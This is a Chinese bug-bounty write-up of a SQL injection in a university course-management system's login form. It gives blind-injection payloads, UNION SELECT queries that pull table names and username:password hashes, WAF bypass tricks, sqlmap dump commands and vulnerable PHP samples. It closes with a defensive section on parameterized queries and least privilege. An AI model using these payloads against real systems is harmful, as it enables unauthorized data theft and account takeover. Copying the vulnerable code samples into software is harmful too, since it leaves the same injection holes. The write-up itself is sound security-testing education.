1. 项目概述:一次典型的登录框SQL注入实战复盘
最近在参与一个教育行业的安全众测项目,也就是大家常说的edusrc。这类项目目标明确,主要是针对高校、在线教育平台的各类系统进行安全测试。在众多漏洞类型中,SQL注入,尤其是出现在登录框这种核心入口的注入,往往能直击要害,获取到系统最高权限。这次遇到的,就是一个非常典型的、在登录验证逻辑处存在的SQL注入漏洞。整个过程没有用到复杂的工具链,纯粹是手工测试思路的延伸,最终成功获取了后台管理员权限。对于刚入门安全测试的朋友来说,这类漏洞的逻辑清晰、复现简单,是理解Web应用安全风险绝佳的实战案例。下面,我就把这次从信息收集到漏洞利用的完整过程,以及背后的原理和踩过的坑,详细拆解一遍。
2. 漏洞挖掘前的环境与目标分析
在开始任何测试之前,盲目乱试是最低效的做法。清晰的思路和有效的信息收集,能让你事半功倍。这次的目标是一个高校的课程管理系统,对外开放了教师和学生的登录入口。
2.1 目标系统信息收集
首先,我对目标系统进行了基础的信息收集,这不是为了炫技,而是为了理解它的技术栈和可能存在的薄弱点。
- Wappalyzer / 手动观察:通过浏览器插件和查看HTTP响应头,初步判断后端可能是PHP,数据库疑似MySQL。前端的登录表单是一个典型的POST请求,提交用户名和密码到
/login.php。 - 功能点探测:除了主登录框,我还关注了“忘记密码”、“学生注册”等可能存在二次交互的功能。但初步测试表明,登录接口是最直接、最有可能存在逻辑缺陷的地方。
- 错误信息试探:在用户名或密码字段输入一个单引号
‘,然后提交。这是一个非常初级的探测手法,目的不是直接注入,而是观察服务器的反应。如果页面返回了数据库报错信息(如“You have an error in your SQL syntax”),那几乎就等于告诉你这里存在注入点。但现代系统通常会屏蔽详细错误,这次目标也是如此,页面只是统一返回“用户名或密码错误”。
注意:错误信息回显是判断注入点的“银弹”,但它的缺失绝不意味着安全。很多注入是“盲注”,即没有明显错误回显,需要我们通过其他方式(如时间延迟、布尔逻辑)进行判断。登录框尤其如此,因为它通常只返回“成功”或“失败”两种状态。
2.2 登录框SQL注入原理深度解析
为什么登录框容易出SQL注入?这要从一段“经典”的有漏洞代码说起。假设后端验证登录的PHP代码是这样的:
$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // 登录成功 } else { // 登录失败 }这段代码直接将用户输入($username,$password)拼接进了SQL语句。在正常情况下,用户输入admin和123456,语句是:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'这没问题。但如果用户在用户名输入admin' --(注意--后面有个空格),语句就变成了:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'在SQL中,--是注释符,它会将其后的所有内容注释掉。于是,这条语句的实际执行部分就变成了:
SELECT * FROM users WHERE username = 'admin'它完全忽略了密码验证!只要数据库中存在用户名为admin的记录,无论密码是什么,这条查询都会返回结果,从而绕过登录验证。这就是最经典的“万能密码”绕过。本次漏洞虽然最终利用方式不同,但根源与此一致:用户输入被直接拼接进SQL命令,且未对注入符号进行有效过滤。
3. 手工注入探测与漏洞确认过程
既然没有明显的错误回显,我就需要采用“盲注”的思路进行探测。登录框的特性决定了我们通常利用其布尔逻辑(真/假)或时间延迟来判断。
3.1 初步布尔盲注试探
我的第一步,是验证输入是否被带入数据库查询逻辑。我使用了以下payload进行测试:
- Payload 1 (永真条件): 在用户名框输入:
admin' OR '1'='1 - Payload 2 (永假条件): 在用户名框输入:
admin' AND '1'='2 - 密码框:可以随意输入,比如
test。
对应的SQL语句会变成:
- Payload 1:
SELECT ... WHERE username = 'admin' OR '1'='1' AND password = 'test'由于'1'='1'永远为真,整个WHERE条件很可能为真,可能返回用户表中的数据。 - Payload 2:
SELECT ... WHERE username = 'admin' AND '1'='2' AND password = 'test'由于'1'='2'永远为假,整个WHERE条件为假,查询结果为空。
我分别提交了这两组数据。发现使用Payload 1时,系统返回了“用户名或密码错误”;而使用Payload 2时,竟然跳转到了后台管理页面!这看起来反直觉,但却是一个强烈的信号。
3.2 漏洞逻辑分析与假设构建
为什么“永假”条件反而登录成功了?这促使我深入思考后端可能的代码逻辑。一个合理的推测是,后端代码可能写得“不太一样”,例如:
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysqli_query($conn, $sql); $user = mysqli_fetch_assoc($result); // 错误的逻辑:先查询,如果查询失败(SQL语法错误等),就默认赋予一个管理员权限? if (!$user) { // 可能是查询出错,也可能是用户不存在 // 但这里错误地处理了,直接将当前会话标记为管理员 $_SESSION['is_admin'] = true; header('Location: /admin/'); } else { // 正常验证密码... }当然,上面是极端例子。更常见的情况是,因为注入导致SQL语句结构被破坏,使得mysqli_fetch_assoc取到的$user变量不是预想的结构,在后续的权限判断逻辑中产生了非预期的结果,比如误判为某个特定用户(如第一个用户)。
基于这个现象,我假设存在一个基于布尔状态的盲注。我需要构造一个payload,能够稳定地让查询返回“真”或“假”的结果,从而控制系统行为。
3.3 构造确定性Payload验证漏洞
为了验证,我构造了更精确的Payload,利用数据库内置函数来创造布尔条件。
- 验证数据库类型:输入用户名:
admin' AND substring(@@version,1,1)=5 --- 这个Payload的意思是:如果数据库版本号第一位是5(MySQL 5.x),则条件为真。
- 提交后,页面行为与之前提交“永真”条件时一致。这初步暗示数据库可能是MySQL 5.x。
- 验证当前数据库用户:输入用户名:
admin' AND substring(current_user(),1,1)='r'@'%' --- 测试当前用户是否以字母‘r’开头。通过不断改变字符和位置,可以逐位猜解出完整用户名。
通过几次测试,我确认了以下几点:
- 单引号
‘可以闭合原有的字符串。 - 注释符
--(或#)可以有效注释掉后续语句。 - 后端对
AND、OR等SQL关键字没有过滤。 - 注入点存在于
username参数,类型为字符型注入。
至此,一个可被利用的SQL注入漏洞已经确认。
4. 利用联合查询(Union Select)获取数据
确认漏洞后,下一步就是利用它来获取数据库中的敏感信息。联合查询UNION SELECT是最直接有效的方法,它可以将我们自定义的查询结果附加到原查询结果之后。
4.1 判断字段数量
使用UNION SELECT的前提是,前后两个SELECT语句查询的列数必须相同。我通过ORDER BY子句来猜测字段数。
- 输入用户名:
admin' ORDER BY 1 --, 页面正常。 admin' ORDER BY 5 --, 页面正常。admin' ORDER BY 6 --, 页面返回了异常(空白或错误)。- 这说明原查询语句返回的列数是5。
4.2 确定回显点
知道了有5列,接下来要找出哪几列的内容会显示在页面上,这样我们才能让查询的数据“露出来”。我使用如下Payload:
admin' UNION SELECT 1,2,3,4,5 --
提交后,神奇的事情发生了:登录成功后跳转的后台首页上,原本显示用户昵称的地方,竟然变成了数字“2”!而在页面底部的版权信息附近,显示了数字“4”。这说明,原查询结果集的第2列和第4列被前端代码调用并显示了出来。
实操心得:找到回显点是Union注入成功的关键。有时回显点可能在页面源码里,而不是直接可见。一定要用浏览器的“查看网页源代码”功能仔细搜索你注入的数字。如果页面上看不到,可以尝试将数字换成
@@version或database(),再到源码里搜索这些字符串。
4.3 拖取数据库信息
现在,我可以把回显点(第2列和第4列)替换成我想要查询的信息了。
获取当前数据库名:
admin' UNION SELECT 1,database(),3,user(),5 --提交后,页面上原本显示“2”的地方变成了数据库名(例如edu_course_db),显示“4”的地方变成了当前数据库用户(例如edu_course_user@localhost)。获取所有数据库名: 在MySQL中,
information_schema.schemata表存储了所有数据库的信息。admin' UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata --group_concat()函数会将所有结果合并成一个字符串。这样,我就能在回显点看到一串数据库名,包括系统库和业务库。获取指定数据库的所有表名: 假设我对
edu_course_db感兴趣。admin' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='edu_course_db' --回显点会列出这个数据库里所有的表,例如users,courses,scores,admin_log等。获取关键表(如users)的字段名:
admin' UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_schema='edu_course_db' AND table_name='users' --回显结果可能是:id,username,password,email,real_name,role,created_at拖取最终数据——用户名和密码哈希:
admin' UNION SELECT 1,concat(username, ':', password),3,4,5 FROM edu_course_db.users --这样,我就一次性拿到了所有用户的用户名和密码哈希值(通常是MD5或BCrypt)。其中就包含了管理员账号。
5. 漏洞利用的后续:权限提升与影响
拿到管理员密码哈希只是第一步。如果密码强度不高,可以通过彩虹表或离线破解工具(如Hashcat)进行破解。但在这个案例中,我发现了更“便捷”的路径。
5.1 利用Session或直接进入后台
由于我通过注入已经能够以“某种身份”成功登录并跳转到后台页面,虽然当时身份可能错乱,但系统已经为我创建了一个会话(Session)。我检查了浏览器的Cookie,发现了一个名为PHPSESSID的Cookie。这个会话可能已经被赋予了高权限。
我尝试直接访问后台的其他管理功能链接(如/admin/user_manage.php),发现可以畅通无阻。这说明,通过这次异常的登录过程,我可能直接获取到了一个有效的、高权限的会话。这是登录框注入最危险的后果之一:直接获得已认证的会话,绕过所有后续权限检查。
5.2 对系统的潜在影响分析
通过这个漏洞,攻击者可以:
- 越权访问:以任意用户(包括管理员)身份登录系统。
- 数据泄露:拖取整个数据库,包括所有用户信息(姓名、学号/工号、密码哈希、邮箱、手机号)、课程成绩、内部通知等敏感数据。
- 数据篡改:通过后台功能或进一步构造SQL更新(
UPDATE)语句,修改成绩、篡改课程信息、添加管理账号等。 - 进一步渗透:如果数据库用户权限较高,可能通过SQL注入写入Webshell(利用
SELECT ... INTO OUTFILE),从而控制服务器。
6. 漏洞挖掘中的常见问题与排查技巧
在实际挖掘过程中,绝不会总是一帆风顺。下面记录了几个常见问题和我的解决思路。
6.1 注入点检测无回显怎么办?
这是最常见的情况。除了上面用到的布尔盲注(通过页面状态差异判断),还有两种重要方法:
- 时间盲注:如果页面无论真假返回的内容都一样,可以尝试用
sleep()函数。例如:admin' AND IF(substring(database(),1,1)='a', sleep(5), 0) --如果页面响应延迟了大约5秒,说明数据库名的第一个字母是‘a’。通过时间差来逐位判断。 - DNSLog外带:这是一种更高级、更隐蔽的数据外带方式。利用数据库函数(如MySQL的
load_file())发起DNS请求,将查询结果作为子域名的一部分,发送到我们可控的DNS服务器上,通过查看DNS日志来获取数据。这种方法能有效绕过很多防火墙和过滤规则。
6.2 遇到WAF(Web应用防火墙)拦截怎么办?
很多系统会部署WAF,它会检测并拦截常见的SQL注入关键词。
- 大小写绕过:
UnIoN SeLeCt - 双写关键字绕过:
UNIUNIONON SELSELECTECT - 编码绕过:使用URL编码(
%20代替空格,%27代替单引号)、十六进制编码(0x...)或注释符分割(UNION/**/SELECT)。 - 等价函数/语句替换:用
like代替=,用mid()代替substring()。 - 缓慢探测:避免使用
union select这样明显的组合。先从'、and 1=1、and 1=2开始,用时间盲注慢慢测,WAF对延迟注入的检测通常较弱。
6.3 工具使用:何时该上sqlmap?
手工注入能让你深刻理解原理,但在效率上无法与自动化工具相比。在以下情况我会使用sqlmap:
- 确认存在注入点后:用手工方式确认漏洞存在和基本类型,然后用sqlmap进行大规模数据拖取。
- 面对复杂过滤时:sqlmap内置了丰富的tamper脚本(如
space2comment.py,equaltolike.py),可以自动尝试各种绕过技术。 - 需要快速验证影响面时:
--dbs、--tables、--dump几条命令就能快速摸清数据库结构。
使用命令示例:
# 基础检测 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --level=3 --risk=2 # 指定注入参数和数据库类型 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p username --dbms=mysql # 获取所有数据库 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p username --dbs # 拖取指定表数据 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p username -D edu_course_db -T users --dump重要提醒:仅在获得合法授权的测试环境中使用sqlmap等自动化工具。未经授权对他人系统使用属于违法行为。
7. 从防御者视角看SQL注入防护
挖漏洞是为了更好地修漏洞。作为开发人员,应该如何杜绝此类问题?
使用参数化查询(预编译语句):这是根本解决方案。无论是PHP的PDO、Python的
cursor.execute()还是Java的PreparedStatement,其原理都是将SQL语句的结构与数据分离。数据库先编译语句结构,再将用户输入作为纯数据处理,从根本上杜绝了拼接带来的命令执行问题。// PDO 示例 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);对输入进行严格的过滤与转义:如果因历史原因必须使用拼接,则必须对用户输入进行转义。例如使用
mysqli_real_escape_string()。但请注意,这不是银弹,在某些复杂场景下可能被绕过。遵循最小权限原则:为Web应用连接数据库的账号分配最小的必要权限。通常只需要
SELECT、INSERT、UPDATE、DELETE,绝对不要赋予DROP、FILE、GRANT等高级权限。避免详细的错误回显:将生产环境的PHP错误显示关闭(
display_errors = Off),使用自定义的错误页面,防止数据库结构信息通过错误信息泄露。使用Web应用防火墙(WAF):作为一道额外的防线,WAF可以拦截常见的攻击payload。但它应该是最后一道防线,而不是首要或唯一的防线。
这次edusrc的登录框SQL注入挖掘,是一次非常标准的“发现-探测-利用-分析”过程。它再次印证了一个老生常谈却屡试不爽的道理:永远不要信任用户输入。对于安全测试者而言,登录框、搜索框、订单ID这些用户可控且与数据库交互的地方,永远是需要重点关注的“宝藏”区域。保持好奇心,多问一句“如果这里输入一些奇怪的东西,会发生什么?”,往往就能打开一扇新的大门。